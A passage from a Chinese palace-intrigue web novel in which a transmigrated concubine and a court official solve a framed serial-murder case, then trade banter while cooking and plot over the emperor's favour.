见此景，逢潭倒也丝毫不见慌乱之意，她款款细步走到谢闻识身边坐下，美目往桌上摊着的画像示意。
谢闻识了然，很上道地向她说道：“真不知是哪家大人如此不怜香惜玉，放着这么一位容艺绝佳的美娇娘不好好养着，偏生让她出来做这种男人该做的活计。”
逢潭眼角瞬挂串串珠泪，难言道：“公子若是不帮我，只怕这次之后，我家大人会更加难为我了。”
谢闻识心疼的连连抚慰道：“本世子即说得，那自然是做得！小娘子莫要再掉眼泪了，看得人心疼。”
接着，他指着那幅青面獠牙的画像道：“他叫朱阿德，原先是我家府上的小厮。”
逢潭道：“那公子能否将他带来？”
“这……”谢闻识愧色地挠了挠头：“不太行啊。”
逢潭嗔道：“公子骗我？！”
谢闻识举起三指起誓：“苍天可见，哪能啊。”
“只是....我已经有些日子没有见过他了。听管家说，他回老家去了。”
逢潭道：“他老家在哪？还回来吗？”
谢闻识理所当然道：“他一个下人，本世子干嘛要管这些？”
“……”
行吧。
逢潭又用指尖点了点另一个人：“他呢？”
谢闻识道：“见过，但不认识。”
逢潭拧眉：“什么时候，在哪儿见的？”
谢闻识：“就那会儿上楼的时候。”
逢潭几乎是在“那会”二字脱口的瞬间就站起身，提了步子准备往外走。
两幅画像都在自己手中，仅一眼的印象，也不知楼下的常聿能不能认出来。
她的步子逐渐焦躁，三步并两步地走到门口，手还未及摸上门，不曾想下一刻门便被人从外面直接踹开，险些弹到她脸上。
来人好似没有看见她，闷头直冲屋内谢闻识。
逢潭疾步下楼，与同时往楼上走的常聿在转角处撞了个满怀。
常聿瞧着她换了的装束，散意的挑了挑眉。
与此同时，二楼房间传来一声女人的痛彻：“谢闻识！你个混蛋！”
“你冷静一点！”
然而回答男人的只有一阵接着一阵的桌椅碰撞以及碗筷落地的声音
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下一刻，谢闻识夺门而出：“泼妇！！！”
“老子现在就回去休了你！”
那女人追在他身后：“你有本事就试试！你们晟王府今时正是需要我们姜家的时候！当初若不是你父亲腆着脸上赶着来讨好我家，我父亲能把我嫁给你？！”
两人气势汹汹的一前一后离开酒楼。
逢潭反而转身又回到了楼上房间。
她捡起地上布了油渍酒水以及脚印的画像，对常聿道：“‘蜘蛛’前不久出现了，我约摸着他这会儿应该是打算出城，如若现在去拦，兴许还能当场抓获。”
“……”常聿没有反应。
逢潭不明地看着他。
常聿眼帘轻垂：“劳贵人移步。”
.....
隔壁房间，逢潭难以置信地又比量一番面前的人和画像：“……”
这世上竟真有这种神人？
这画技简直堪比现代的复制粘贴，如出一辙。
“大人，大人冤枉啊！”那蓬头垢面，头发成蜘蛛腿脚走向的男人喊冤道：“草民不知干了什么，竟要遭此祸罪！”
蛮枝道：“这都还没对你做什么，你从何得知就是祸事？”
蜘蛛心虚地咽了咽口水，鬓角频频往外溢出汗珠。
——“隐日姑娘。”
是见云的声音。
*
见云将逢潭带回自己的房间，谨慎地观察了一圈周围，而后紧掩上房门。
“你是在查‘采花贼’的案子吗？”
逢潭审量着她，没有立即回于是与否。”
见云轻声道：“我这里有一点情报，或许可以帮到你。”
“只求将来你一定要将这起案件真相大白，让凶手伏诛……”
逢潭道：“莫非那几位被残害的女子与见云姑娘有所关联？”
见云转瞬黯然神伤道：“.....那其中的陈姑娘与我本都是这家酒楼的乐人。”
“那为何她后来不是了？”
见云十指攥握手中绢帕：“这一切都要怪那个人！”
逢潭有时候真的不太明白他们这里的人。
好好的一句话，为什么一个两个的说起话来都是抑扬顿挫的拆开来说？
逢潭问：“谁？”
“谢闻识。”
见云紧咬着打颤的牙关道：“那贱男人仗着自己父亲是帝王胞弟，有恃无恐。成日里花天酒地，强辱民女，做尽丧心病狂，有违天良之事！去年除夕夜，他更是因在外面吃醉了酒，顾将一名三四岁的孩童在雪地里活活折磨致死！”
“后来这事引起了不少的民愤，几近闹至晟王府。他父亲晟王为了保他，说是会给百姓一个交代，然不过也就是将他困在家中禁足三月，就此作罢。”
逢潭：“……”
难怪当时常聿会那样说，显然他也是知道这件事的。
除夕夜……
她依稀记得帝王还曾问及过未到场的晟王一句，想来那时的晟王大抵还正在家中想办法，如何为自己的儿子善后。
见云还在继续说着：“今日来酒楼闹事的这个女人，是当今朝廷命官姜太傅的嫡女，也是个顽劣泼辣的性子，两人自去年这时候成亲以来，无一日是不闹腾的，大伙儿早已司空见惯、屡见不鲜了。”
“....陈家姑娘也就是因此，叫他们夫妇二人祸害了！”
13. 真相
见云犹豫着将自己心中的猜想在逢潭面前宣之：“谢闻识残害那名孩童时，陈姑娘应该是在场的。”
“……”
蜘蛛被带回诏狱，在见到昔日同伴的残相时，心态崩了，他被人摁在盐水池里滚了一圈，嘴里激动地呛喊道：“龙眼！”
被铁链悬掉在空中的龙眼，有气无力地哼哼唧唧地发出了一阵声音，也算是在回应他了。
大长虫悠然地从一众人流穿过，支撑起半个身子，盘坐在逢潭身边。
逢潭冰冷质问道：“朱阿德在哪？”
蜘蛛脸色苍白地直摇头：“我不知道……我不知道……”
“……”逢潭身形未动，稍作静默两秒，而后反手一个耳光抽了上去。
这一举动无疑惊到了在场所有人。
她闭了闭眼，勉强收敛了情绪：“死到临头了，还在这里上演兄弟情深的戏码？感动自己？”
“你，”她一把扯过蜘蛛的衣领，指着吊在他们头顶的龙眼道：“还有他。”
“不过都是朱阿德替别人找来的替死鬼！”
蜘蛛愕然抬起头，似是内心深处的某个点被逢潭毫不留情地揭露公开来，：“...你什么意思？！”
他拼了命地试图去扯逢潭的衣摆，然还不待胳膊伸出半臂，便被身边的影卫一脚踹翻在地，蜘蛛只得趴在地上，声音嘶哑地吼着：“说啊！！”
逢潭漠然地将他的这些举动尽收眼底。
她并没有在第一时间就回答他，而是静等了一会儿，才又面无表情地开口：“从那四位姑娘的尸体曝于人前的那一刻起，朱阿德就跟你们断了联系是吗？”
被吊着的龙眼虚弱无力地开口：“....你怎么知道？”
“……”逢潭闻言，不带半点迟疑地转过身。
*
常聿明显感知到逢潭自酒楼回来后，情绪明显不太对，他跟着逢潭出去，寡凉薄言道：“那乐人跟你说了什么？”
逢潭平静抬眼，眸底粼粼水光却不泛半点波澜：“常聿。”
常聿沉目。
“你是不是从一开始就知道这起案件的背后真凶是谁。”
“……”
逢潭观他神情，心中也已确认了个大概。
据见云所说，除夕当晚，陈家姑娘忽感身子不适，故而提前下场，且也正是自她出了酒楼后，便也再没有回来……
见云最后一次见陈姑娘，是在过完年后。
那时她已经好久不来酒楼了。
酒楼老板恼意，故命她去瞧上一瞧。
然当见云到了陈姑娘家中时，陈姑娘的精神已然出现恍惚。
“你怎么了？”见云慰问道。
然而陈姑娘在听到她声音的那一秒时间里，身体骤然一个激灵，嘴里喃喃：“我什么都没有看见，我什么都没有看见……”
“你看见了什么？”
之后无论见云再如何问，陈姑娘却不再有任何反应。
再后来，陈姑娘便失踪了。
一个大活人，就这样凭空消失了足足半月有余，没人知道她去了哪里。
直至不久前，在城外的一个破庙里，被途径此地的外来商队发现了消失已久的她。
同时与她一起被发现的，还有三名同样已经断了气的姑娘。
见云说，她曾在尸体被送去刑部前，偷偷去瞧过一眼陈姑娘。
陈姑娘死前是睁着眼的。
且双目瞳孔紧缩，空洞无神，显然是在生前遭受过极大的刺激和恐惧。
见云心中受惊的同时，隐约发觉陈姑娘的右手是呈握拳状。
她掌中是有什么东西吗？
会和她的死因有关联吗？
见云疑惑。
于是，她趁夜里看守的侍卫换岗的间隙，又再次偷偷回到了现场。
“陈娘子，你我同奏多年，如你真是含冤而死，来日若得机会……”见云话才说到一半，眨眼的一瞬看见陈姑娘紧攥的手掌好似泄了几分力。
见云眼疾手快地触上她冰冷的拳背，接着慢慢顺着她的指隙，探到里面。
随之心中蓦然一颤。
她最后轻捏了一下陈姑娘的手：“你放心，我会尽力而为的。”
“……”
而眼下，逢潭捏着的正是当时见云从陈姑娘手中取走的那枚小珊瑚。
逢潭道：“常聿，你若是想让我帮你，我希望你不要再打这种马虎眼。”
昨晚，龙眼说李家姑娘的死因是先奸后杀，然而却被常聿一口否决。
为什么他当时会回答的那般决绝？
原因唯有，他本就知道事情的真相。
后面常聿又问一遍死因，那是问给谁听的？
逢潭自是了然。
而龙眼后来又是怎么回答的？
和李家一样。
一样的先奸后杀吗？
不。
是因同样的一个人，同样的一件事，被用以同样的方式残害的。
常聿默了良久，语气中听不出任何情绪：“我说过。”
“太聪明。”他懒懒掀眼：“不是一件好事。”
逢潭道：“所以除夕那晚，你与那黑衣人碰面的确是为了谢闻识的事。”
常聿坦道：“是。”
逢潭皱了皱眉：“那陈姑娘？”
常聿道：“也是。”
.....所以见云的猜测没有错。
如此一来，一切好像就顺通多了。
除夕那晚，陈姑娘提前离场，碰巧遇到了在酒楼喝完酒回家的谢闻识，随即又窥见谢闻识对孩童做下的惨无人道之事。
晟王为保其子，除去一切隐患，故追查起那晚疑似看见这起残暴经过的所有人。
“那这珊瑚....？”
常聿道：“是姜润玉的。”
姜润玉，应该就是今日来酒楼大闹的那个女人，谢闻识的夫人，姜太傅的女儿。
逢潭不解：“她为什么？”
常聿屡见不鲜道：“姜润玉善妒，因此自姜家与晟王两家结姻后，凡是出现在谢闻识身边，或是与谢闻识有过纠葛的女人，轻而被她弄花了脸，从此不能示人是小。重则....一刀抹净。”
“那陈家的，确实无辜。原只是因为路过撞见谢闻识作恶的场景，后被晟王带回去欲想方将她处置了的时候，然却不曾想被姜润玉发现，以为她与其余三个女人一样，是谢闻识带回
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家的新宠，于是她先一步出手将她们解决了。”
“……”逢潭不能理解，且大为震惊：“就因为这个？”
常聿轻飘飘答道：“就因为这个。”
逢潭哑然。
常聿眸光微微一暗：“他们这些人，向来视人命如草芥。”
只是他们吗？
逢潭一动不动地看着面前的男人。
他是如何做到冷漠地将这些话说出口的？
“……”
逢潭缓了片刻：“所以你需要我去为你将这桩桩件件的事情，一步步变成板上钉钉，让他们无法翻身的证据。”
常聿：“是。”
逢潭道：“现在就差找到朱阿德了是吗。”
“已经找到了。”常聿说。
逢潭脱了力般，垮下身子：“....常聿，我想回去了。”
医者之心，对生命的敬畏与珍视，使她并不能接受这些。
常聿冷眼讥笑道：“就这么点能耐？”
逢潭点头：“人活一世，不容易。”
有多少人这一生被病痛缠身，却仍旧艰辛的跟病魔苦苦做斗争....只为能够活着。
不管是在之前的世界，还是现在，她都没少见。
“人是自私的，”常聿却恣意散漫，漠然处之地说：“正是因为每个人都不容易，所以才会想方设法地试图让自己的活得轻松些。”
“若是以一人，能换自己处境安稳，哪怕只是一时，你也会这么做的。”
逢潭没有回答，因为她也不敢轻易去说以后的事情。
她不敢保证自己若是一直待在这个地方，会不会随着时间的流逝，渐渐被这个时代同化。
她也不愿去设想看到自己有朝一日也成为这样的人的画面。
*
常聿终究还是没有让她一个人回去。
接下来的所有事务过程中，常聿也依旧带着她。
他们虽照常说话，但身边的人却是依旧明显感觉到了，这二人的关系好像突然变得微妙了。
朱阿德被单独拎出来提审时，甚至还不曾尝到任何一点皮肉上的苦头，便被湿软滑凉缠绕在自己身上的大长虫吓得尿了裤子。
“是、是晟王！是他叫我这么干的！”
朱阿德道：“世子恶行举目皆知，世子妃后来又做出了那样的事。晟王虽因世子的事情大为动怒，却又因世子妃的行事，转而喜之。他将世子妃的行事告知了姜家，世子早就引得百姓皆愤，哪里还容得了世子妃再生出祸端！姜家为保女儿，伙同晟王找到我，让我带着那已经死透了四人逃出了城外。”
“接着我又找来蜘蛛和龙眼二人，跟他们喝酒时，我在他们酒里下了药，让他们误以为自己奸杀了人，伪造了假象。为了掩盖她们真正的死亡时辰，晟王甚至还特意命人在一处山洞中，打造了四张能够延缓尸体腐烂的冰床。”
“而我就只需每日去山洞里瞧上一番，为她们的尸体做好围栏防护，避免被上山的人以及山中的野兽发现，将她们食之。待到晟王将世子禁足家中的事情放出以后，确保在明面上不会有人将这两件事情联想到一起时，才又命令我将尸体曝至人前。”
“……”
14. 哄逗
门开的那一刹那，一阵骇人的冷风袭面，院中烛光幽暗，面前大片的竹林屹立，竹叶随风抚动飒飒作响，画面阴森凋凄，好不诡异。
逢潭不禁沉默：“……”
她这是进了地府吗？
敢情还不如睡大街呢.....
她脚下踌躇，犹豫着要不要跟着常聿进去。
常聿仅侧目睨她一眼，凉凉开口：“贵人大驾寒舍，微臣喜不自胜。”
逢潭抿了下唇，委婉道：“要不我还是……”
“也好，”常聿头也不回地边往里走边道：“贵人以身诱敌，实为大义之举。”
逢潭：“……”
眼下采花贼的案子还没结，凶手保不齐就还在城中，这会儿子街道上又黑灯瞎火的，属实存在安全隐患。
她虽嘴上说着不如睡大街，其实也不过就是一时口嗨。
何况此刻常聿既能给她提供一个避风的地方，她又没有自虐倾向，何苦去给自己去找罪受。
于是，她小碎步跟上常聿，问道：“常大人，你府上的家丁可否给你备了吃食？”
常聿不带思索道：“他们不知道我今晚回来。”
哦，言下就是没有。
逢潭道：“那，小厨房在哪？”
常聿终于止步，借着周围的光影，将将把她这个人看清。
逢潭见状道：“我今晚跟着大人到处奔波，很累，也很饿....”
“虽然我不要钱，但你总不能连顿饭都舍不得给我吃吧？”
不然这也太抠搜了。
再无良的资本也不能净让人做黑奴吧。
常聿没有说话。
逢潭：“……”
不是吧？
真就无良成这样了。
她心中白眼，唇齿刚启开一条缝，正欲打消这个念头摆手说算了，下一刻便听常聿先一步道：“你会？”
逢潭想了想，回答说：“如果你会的话，也可以你来。”
“……”
说实话，逢潭现在累得厉害，根本也懒得再去现做，她原想着去厨房顺个馍吃了回去睡觉，谁知放眼望去整个厨房竟是连一点现成的食物都没有。
她心中有些欲哭无泪，不禁由衷感叹，这世上怎么会有方便面这么懂事的存在？
第一个发明方便面的人简直就是个天才。
这要是在现代，光忙活的这半天功夫，她估计早就已经吃完躺床上了。
“……”逢潭实在不愿意动了，她忽然将原本拿起准备切的猪肉不轻不重地往菜板上潇洒一扔：“要不还是回去睡觉吧。”
“我觉得比起饿肚子，眼下还是更困一点。”
常聿坐在旁边，以一副“我在就知道会这样”的神情看着她。
逢潭黑脸：“……”
就在常聿正预备起身的时候，又被逢潭“一菜刀”给按了回去。
待食材一切准备好后，逢潭下意识地想去寻燃气开关，不料自己却忘了....
“你干瞪着它，”常聿道：“它是能自己熟了还是怎么的？”
逢潭朝他勾手：“....你过来。”
常聿一时竟罕见的“听话”：“贵人不让我动。”
逢潭简直要被他气笑了：“这么听话是吗？我不让动你就不动？”
常聿心头由然生起一股不妙的感觉。
逢潭比了比手里的菜刀，冲他道：“那我现在让你死，你死吗？”
常聿：“……”
他懒散地走到逢潭身边，就着冰冷的灶台好整以暇地抱臂半靠着。
逢潭蹲在地上回望他，半天冒出来一句：“.....你会烧火吗？”
“我会杀人。”
“……”逢潭随手在菜板上摸到一片菜叶子，然后往不远处的地面上一丢，推他一把打发道：“玩儿去吧。”
常聿后槽牙咬的咯吱咯吱作响。
这是把他当狗哄了还是什么？
面前的女子没再理他，自顾自地撸起了袖子，找了些易燃的草木引了火，随即就着柴火往灶台底下塞。
她静等了一会儿，眼见着那灶台里的木柴非但没着，反而还开始汩汩往外冒烟：“……”
奇怪了。
怎么跟阿悦生火时的画面不太一样呢？
她努力地又回忆了一番当初阿悦教她的场景，不死心地循着记忆中的步骤，又重复来了一遍。
然而这次烟却是比方才更大了。
“……”逢潭被熏得眼睛通红，唰唰的直流眼泪。
常聿面露嫌色地将她赶到一边，嘴上鄙道：“贵人到底金贵。”
逢潭闻言倒也不见恼，自己确确实实是不会生火，常聿嫌弃归嫌弃，起码自己上手行动了，这比起那些只说不干，光是站着说话不腰疼的就已经强了太多了。
只见常聿慢条斯理地将原先逢潭塞进去的那些柴火全部都一一掏出来，而后轻车熟路地重新点火、放柴、最后用竹筒吹了几口气，火苗就这么冉冉烧了起来。
男人面无表情的热油将肉下锅炒熟，随后舀了几瓢冷水，盖上盖子，一气呵成。
“猪在吃上你做的饭之前都得先瘦上十斤。”
“那猪会，猪早干嘛去了？”逢潭挑眉质问道：“难道不是猪自愿瘦的吗？”
常聿瞬间被她怼的哑口无言，好半晌才憋出来一句：“你就饿着吧。”
逢潭道：“常聿，你真是昧良心。”
她指着锅里翻涌地热汤：“这么多面条，撑不死你！”
常聿道：“不劳贵人关心，微臣过会儿就算是把府上的所有人都叫起来，也绝不会让它有一根进到贵人的肚子里。”
“.....姑奶奶我能受你这气？”逢潭冷哼一声，骨气硬着，扭头就走，临了了还不忘踢他一脚：“不吃就不吃。”
逢潭气冲冲走到厨房门口，刚迈出一个步子，随即又似有所想地收了回来。
不是。
她走了....但睡哪儿啊？
“……”她回头看一眼背后，只见那常聿眉眼挂笑，面上难掩笑意地幽幽注视着她。
老天啊。
难道这就是寄人篱下的感觉吗？
太特爹的憋屈了！！！
“怎么，”常聿忍俊不禁地看着逢潭背着身子一步一步地倒挪回来：“贵人这是.....刚出门就迷路了？”
逢潭心如死灰地转过身看他，神情略显严肃地叫了他一声。
“常聿。”
男人懒洋洋应道：“嗯？”
“我
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觉得你不能这样。”逢潭的眼睛还因方才被浓烟熏的泛红灼辣，莹莹水雾仿若天边星点圈在眼眶：“我会很难过的。”
常聿满不在意地摊手：“那你就难过吧。”
“……”
话虽这么说，但……他在拿碗的时候，到底还是有逢潭的份的。
逢潭斜眯着眼，上下打量着碗里的面条。
常聿：“你到底吃不吃？”
逢潭点头又摇头：“我吃。”
“但我怕你药我。”
常聿气笑道：“既如此，那你就更得吃了。”
话落，逢潭也没再跟他打嘴仗，闷头开始吃面：“常大人。”
常聿没说话，也没理她。
逢潭道：“你没当上掌印前是在御膳房干活的吗？”
*
审完朱阿德从御抚司出来，外面不出所料的天又见色。
迄今为止，这还是逢潭自来到这个世界以来，头一次涌上时间过得其实还挺快的感慨。
不过所幸今晚她是已经用过膳了的，回去以后不用再如昨夜那般折腾到尽天亮才睡了。
马车上，常聿闭目养神，约摸着也是这两日感受到了疲惫。
逢潭见状也没再说话。
两人就这么缄默无言地坐了一路。
临下车时，常聿睁眼，与逢潭对视上：“……”
她犹豫了一下，终是没忍住率先询问道：“谢闻识的事，你打算怎么处理？”
常聿忽然嗤笑：“憋了一下午，终于还是说了？”
.....原来他能感觉到。
是一直在等她说吗？
“晟王纵子作乱多时，我会如实告知陛下。”
逢潭：“那姜润玉呢？”
常聿不言。
逢潭了然：“知道了，留着姜家还有用。”
常聿道：“贵人越来越上道了。”
就在两人说话的与此同时，常府的大门也被人从里面打开。
管家笑盈盈迎上来，话中含带着歉意：“昨夜以为大人宿在外面了，故而没有准备，熄灯的早了些。”
“万幸今儿个老奴留了个心，等了一会儿。”
之后他又朝逢潭道：“姑娘的东西，今上午就已经全都收拾妥当了。”
逢潭向他颔首：“麻烦了。”
管家和气道：“姑娘这是说哪里的话。”
他家大人对此都没说什么，他一介下人又有什么身份多说呢？
“哦对了，”这两日事情这么多，逢潭甚至都还不忘自己原始找常聿的目的：“听闻近来陛下常去慎贵妃那里？”
常聿随意应了一声：“再有半月，慎贵妃的父亲骠骑大将军就将班师回朝，所以这几日去的勤了些。”
“那……”逢潭脸上募地扬起笑意，道：“这两日，常大人进宫帮我个忙吧。”
“……”
*
想来李婕妤是明白了当时逢潭对她言语中隐晦的提醒与劝诫，半月不见，她的气色已然比之前肉眼可见的有了些许血色。
她牵着逢潭的手，漫步在御花园，两人一切尽在不言中。
昂然的迎春无一处不是在彰显春日的生机。
逢潭扶着她小心翼翼地从凉亭里坐下。
15. 吊着
“都怪这孩子，连累的我现在行动诸多不便，竟还要劳烦妹妹照顾我。”李婕妤虽话中抱怨，但语气里却满含身为人母的柔意。
逢潭视线投注在她的神情，一时觉得有些恍惚。
原来孕育中的母亲都是这样的心情吗……？
“……”她的眼底闪过些许黯然神伤。
李婕妤感觉到逢潭的异样，面露几分关切：“妹妹，你怎么了？”
女人轻声娇柔，听到她耳里却如草尖凝珠滴落幽潭，心面泛起涟漪。
四周逐渐恢复清明，意识到自己方才失了神，逢潭低头笑腼：“....想起了一些以前的事。”
逢潭的情绪其实并不显，可女性之间与生俱来的感知，使得李婕妤仅一眼，便依稀可辨她嘴中那些事情的好坏。
她轻抚上逢潭的额发，心生悲悯。
这小丫头也就十七八岁的年纪，与自己家中的姊妹差不多大，被送进宫那年也不过才十六岁....
可叹这世间女子的命运向来都是自己做不了主的，尤其是像她这种高门显贵出身的女儿家，她的婚姻生来就注定了与另一个家族之间的利益联系，更是由不得自己。
李婕妤越瞧她越觉得怜惜，怕再引了她伤心，招呼后面的小太监将手里抱着的筝放下，转移话题道：“妹妹不是说要给我和腹中孩子弹琴听吗？”
“……”
旖月闻言朝逢潭点了两下头示意。
人来了……
逢潭这才纤指刮奏拂过琴面，琴音浑厚沉稳，圆润不散。
闻此音色，她的唇畔随之漾起一抹笑。
常聿的钱没白花。
正想着，忽闻一道低醇深沉的声音闯入这份娴静。
“——是谁在抚琴？”
逢潭闻言错愕地抬起头，就见繁花树后，帝王悠然颜悦地站在荫凉下。
随在帝王身后跟着的还有常聿和慎贵妃。
她匆匆站起身，局促道：“....陛下万安。”
李婕妤也在这时被人搀扶着走了过来。
“说过多少次了，”帝王朝她伸手：“你身子不稳健，在朕面前无需行礼。”
李婕妤笑以：“这是嫔妾对陛下的敬意。”
慎贵妃轻瞥她一眼：“李婕妤好雅兴啊……”
随后也不忘连带着呛一句旁边的逢潭：“逢美人也是。”
逢潭浅笑，恭谨的又朝慎贵妃见了个礼。
“陛下知道的，嫔妾与腹中的孩儿如今能安好，全靠逢妹妹善意的搭救，”李婕妤道：“嫔妾瞧着今儿个天气好，故叫上了她到处走走。”
“前几次与逢妹妹闲谈间，听闻她颇通音理，嫔妾一时来了兴致，就让她弹奏了一曲。”她娇怯怯地询问：“不知陛下所闻如何？”
帝王对逢潭的琴技也是十分称赞：“自是如仙乐灌耳。”
逢潭敛眸自谦：“陛下谬赞，嫔妾雕虫小技，怎敢居于仙乐。”
常聿神色不见波澜，然眉梢却兀自微微耸起。
慎贵妃冷脸，目不转睛地盯着帝王左右逢源，她低声道了一句：“常大人以为如何？”
常聿自是笑以应答：“此情此景，当真美不胜收。”
男人话落，慎贵妃脸色已然见怒，鼻间放下一声哼后，甩袖离去。
李婕妤道：“陛下，逢妹妹脾性柔静，先前因着病，不常在宫中走动，倒是叫陛下与妹妹感情冷淡了。”
脾性柔静...
常聿来回细细咀嚼着这四个字，心中顿然嗤笑。
逢潭佯作不经意地扫他一眼：“？”
常聿冲她微挑眉峰，犹如是在向她质问。
“……”逢潭掀眼，不再看他。
正巧帝王有意拉过她的手，道：“是朕的不是，往后朕会好好弥补的。”
李婕妤此番言语的用意，逢潭自然明白，于是她趁帝王不注意的间隙，暗暗朝李婕妤点头示意感谢。
李婕妤微笑摇头。
...
云边霞衣鲜红，瑰色逐渐在房梁黄瓦上隐没。
逢潭坐于廊下，神绪也随着远去。
敬事房的小太监欢喜地走到她面前，规分行礼：“贵人大喜，今晚陛下翻的是贵人的绿头牌。”
“贵人收拾收拾准备接驾吧！”
逢潭仿若未闻的没有动作。
旖月道：“劳公公回禀，我家贵人....今儿个在御花园中吹了风。”
“您瞧，这会子脸色还差着呢。”
小太监进宫多年，还从未见过这般把陛下拒绝了的嫔妃：“这....”
旖月让他宽心：“陛下怜惜我家贵人身子，公公且去如实回禀就是。”
小太监犹豫片刻，而后欠身告退。
旖月瞧着人走远了，方才好不容易端起的表情转瞬从她脸上消失。
其实她也不明白自家贵人的这个举动。
陛下好不容易才来一趟娴苌宫，逢潭就这样拒了。
宫中恩宠惯是来的快，去的也快。这次没了，下次还不知道会是什么时候了。
她忍不住又去探量一眼逢潭，脑中由然记起上次送太子药囊的事情：“……”
听影莲说，东宫上个月闹了虫蚁之灾，庭院里更是还出没了一条大长虫！
她眨了眨眼，突然悟过了其中的道理。
皇后固然是不信任逢潭的，可又碍于那日承欢殿陛下有意保逢潭的情面，当下不能不收。
但....收归收，那东西极大可能就压根不会到太子跟前。
天气一旦热起来，虫蚁自然也就跟着多了，太子遭殃，皇后心中也必定不会好过。
更何况，皇后当时正是因身戴逢潭的那个药囊，后来竟是连虫蚁都绕着走。
经太医检验过后，皇后的心情应当如何，自是不难想象的。
故逢潭的心意也因此可见。
而如若一开始皇后就将药囊给予太子，太子后来也就不必遭此横祸。
皇后不论怎么抉择，于逢潭都是有益无害的。
如此想来，旖月释然安下心。
她陪着逢潭又在院中坐了一会儿，直至常聿奉命带着人过来送补药，这才屏退了他们所有人。
常聿走近了，垂下眼帘，观望逢潭面色：“病了？”
逢潭没反应。
默了一会儿，男人声音凉薄，带着惯有的慵懒：“装死得闭眼。
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”
逢潭盯着审视的目光，没好气地剜他一眼：“...起开，打扰我补钙。”
常聿不明：“补什么？”
逢潭：“....晒太阳。”
“微臣孤陋寡闻，”他看一眼西边仅残的丝缕金黄余晖：“晒月亮，补脑？”
“……”逢潭睨他：“常聿，你真是太幽默了。”
她转了个身，从廊下台子下来，跺了跺早就已经坐麻的腿脚。
常聿问：“玩什么欲擒故纵？”
逢潭与他视线交汇：“我这叫放长线钓大鱼。”
常聿直言：“吊着。”
逢潭不以为然的承认：“人在面对轻易就能得到手的东西时，往往很快就会不珍惜。只有让他受过挫，不断吊足他的胃口，才能让他在回头弃之时，念起当初得到的来之不易。”
常聿讥笑：“本来就是图新鲜。”
逢潭回以：“常大人阅人无数，自是比我懂的。”
“见你这些日子挺忙。”
常聿上前两步，在她刚才起来的地方坐下：“谢闻识的事，在京城中闹的厉害。”
“前不久姜萍进宫就是为了此事。”
逢潭从他身旁的一段距离也坐了下来：“...他这个老丈人，不会先主动认罪了吧？”
常聿轻笑一声。
“这老家伙可比晟王圆滑多了，”他背靠漆红的廊柱，胳膊随意搭在曲起的一条腿上：“知道与其坐以待毙，等御抚司查过去，倒不如先主动将罪名坐实了，之后再与陛下从轻论起，去深则浅道。”
“前朝忌惮他的人不少，唯一能与之抗衡的也就只有沈家。不过沈家男儿久在塞外，那群老狐狸就更是犯不着去得罪。”
逢潭皱了皱眉，道：“所以谢闻识的所有恶行，就这样轻易地揭过了？”
常聿反问：“不然你还想怎样？”
“……”逢潭敛下眼。
为什么律法当前，恶人依旧猖狂？
无非就是来源于高位者所授的权利与包庇。
人人平等不了。
低位者再如何垂死挣扎，也躲不过被扣上“低贱”二字，叫人任意践踏在脚下。
“虽是就轻处罚，但到底是不光彩，”常聿视线落在逢潭脸上，略有缓和地又道：“晟王父子地位原就远大不如前了，这次甚至还连累着姜家受尽旁人冷眼，姜萍惯视廉清仁德，够他难受好一阵子了。”
“沈钧尧携二子立功凯旋，回来更是又要压他一头。”
临走时，常聿竟破天荒地又回头，叮嘱她一句：“陛下的身后，从来不缺各式各样的女人。眼下或许还能新鲜你一次，等回头他没了趣，也就不会再与你玩这种调情的小把戏了。”
“再有十日，班师回朝的军队就要到京城了。一旦忙起来，别说陛下会把放在你身上的心思移到别处，我到时可能也会无暇顾及你，你别吊的太过。”
逢潭固然聪明，可作为一个女人，身处鱼龙混杂的后宫之中。
没有恩宠，路是很难走的。
当下两人虽结盟，逢潭暂时可以依附着他，但终归只是一时，不能长久。
往后，她还有漫漫余生都要在这里度过。
16. 听话
窗前的烛火残稀虚晃，逢潭懒懒地窝在榻上看书，偶闻几声院里早春的蛐蛐叫。
她对趴在榻边昏昏欲睡的影莲，道：“你若困了，就先去睡。”
影莲摇了摇头，随后从凭几上捏了块云片糕放在嘴里解乏。
“……”须臾片刻，她微声叹了口气。
逢潭手中翻页动作的间隙，抬眼问了一句：“你今晚怎么了？”
影莲枕在胳膊上，声音闷闷的：“我不明白。”
逢潭道：“不明白什么？”
影莲坐直了身子：“我瞧贵人准是这两年病糊涂了！”
逢潭眼下一顿，视线转而从书面移到影莲脸上，她一时觉得有些好笑：“....你说说。”
影莲端正地看向她：“后宫中，人人都巴不得陛下留宿在自己宫中。可贵人倒好……”
“奴婢，还是头一次见有人把陛下往外撵的。”
她惴惴不安地观量着逢潭的神色，见她不像是有恼意，心里的话也几近呼之欲出：“奴婢.......”
逢潭闻之也索性将书放置一边，此刻目光尽数锁在面前的婢子身上，安静听她说。
可她不知，她愈是这般从容，影莲愈是不敢了。
逢潭眼瞧着她这副有贼心没贼胆的模样，无奈替她说道：“你素来心气高，不愿居于当下，你心向往之，我自是清楚的。”
影莲闻言身形猝然一僵，讶异的同时，心脏也开始扑通扑通跳的飞快。
她知道……！
那夜她与旖月的话，她果然是听到了的！
可她为什么从未表露出来过呢？
逢潭眉目轻抬，浅色的美眸中透着几分淡漌，使得与其对视的影莲为之骇然。
呼吸凝滞须臾，她又听榻上的人道：“听闻宫女到了一定年纪是有机会被放出宫的，宫墙外面的世界不好吗？”
假使逢潭也有的选……
影莲苦涩一笑：“贵人出身即是高门，是永远不会明白的。”
逢潭朝旁边示意一下：“坐吧。”
如若换做以前，影莲定然是会毫不犹豫应下的。
然而今时，她却难见地摇了摇头。
“奴婢命贱，自生来时便过着有上顿没下顿的日子，一件衣服更是姊妹们几个轮流着穿。冬日里，湖面的冰能结一掌厚，然而奴婢家中甚至连可以取暖的柴火都没有。”
“若不是因为后来进了宫，奴婢这辈子怕是连件属于自己的合身衣裳都没有。”影莲抿了抿唇，哽咽道：“宫中的日子是不好过，可奴婢穷苦怕了。”
“奴婢宁愿一辈子处在这份水深火热中，也不愿再去过从前那种食不果腹，衣不蔽体的日子！”
“……”
影莲言罢，小声地哭了起来。
逢潭垂眼凝眉，睫羽轻颤间眸中也隐约漾起一层水雾。
影莲口中的这些，她其实并不是第一次听。
从前，阿悦总是会莫名地认真盯着她看，然后等逢潭回看向她时，再笑吟吟地说：“阿潭，有你真好。”
而每每当逢潭问及为何时，她又接着摇头不言。
两个人在一起时，阿悦往往都是避开自己的以前不论。
不曾想，在她口中草草敷衍过去的经历，竟是这般痛苦煎熬。
“……”逢潭蜷缩在身侧的双手因太过用力而指节泛白。
阿悦原不该承受这些的……
